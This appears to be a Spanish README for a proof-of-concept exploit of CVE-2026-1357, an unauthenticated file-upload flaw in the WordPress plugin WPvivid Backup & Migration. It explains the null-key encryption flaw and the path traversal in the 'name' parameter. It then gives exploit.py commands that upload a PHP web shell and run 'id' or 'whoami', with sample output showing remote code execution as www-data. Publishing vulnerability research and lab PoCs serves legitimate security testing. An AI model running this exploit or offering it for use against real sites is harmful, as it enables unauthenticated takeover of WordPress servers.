
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit de RCE no autenticado
Subida de archivos arbitrarios sin autenticar → Ejecución remota de código
| Campo | Valor |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Crítico) |
| Plugin | WPvivid Backup & Migration |
| Afectado | ≤ 0.9.123 |
| Corregido | 0.9.124 |
| Descubierto por | Lucas Montes (NiRoX) |
| PoC por | halilkirazkaya |
El plugin WPvivid Backup & Migration (≤ 0.9.123) contiene una vulnerabilidad crítica que permite a un atacante no autenticado subir archivos PHP arbitrarios al servidor, lo que conduce a Ejecución Remota de Código (RCE).
La cadena de explotación combina dos fallos:
El plugin gestiona las transferencias de copias de seguridad remotas mediante el hook wpvivid_action=send_to_site. Al descifrar la clave de sesión, openssl_private_decrypt() devuelve false para una clave RSA malformada. El plugin no comprueba este valor de retorno y pasa false al Crypt_Rijndael de phpseclib v1, que lo trata como una clave nula de 16 bytes (\x00 × 16) en modo CBC con IV nulo.
El parámetro name de la carga JSON descifrada no está saneado. Un atacante puede usar secuencias ../ para escribir un archivo PHP fuera del directorio de copias de seguridad restringido y dentro del directorio de acceso público wp-content/uploads/.
El wpvivid_api_token debe haberse generado en los ajustes del plugin y no debe haber expirado.
Descarga y extrae WPvivid Backup & Migration v0.9.123 (versión vulnerable):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
Esto creará el directorio wpvivid-backuprestore/ que se monta en el contenedor Docker mediante docker-compose.yml.
docker compose up -d
http://localhost y completa la instalación de WordPress.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Úsala de forma responsable.